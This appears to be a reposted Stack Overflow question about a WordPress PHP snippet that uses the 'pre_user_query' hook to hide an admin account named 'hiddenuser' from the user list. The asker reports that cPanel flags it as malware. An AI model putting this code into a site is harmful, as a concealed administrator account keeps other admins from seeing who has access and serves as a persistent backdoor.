Hide A specific Admin Account From WordPress User List

I use the following code for hiding an admin user, but when I press save button in cPanel I get error message (BAILOUT malware detected).

function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}
add_action('pre_user_query','dt_pre_user_query');


from Recent Questions - Stack Overflow https://ift.tt/vSdcntr
https://ift.tt/2seQpNE

Comments

Popular posts from this blog

Today Walkin 14th-Sept

Spring Elasticsearch Operations

Hibernate Search - Elasticsearch with JSON manipulation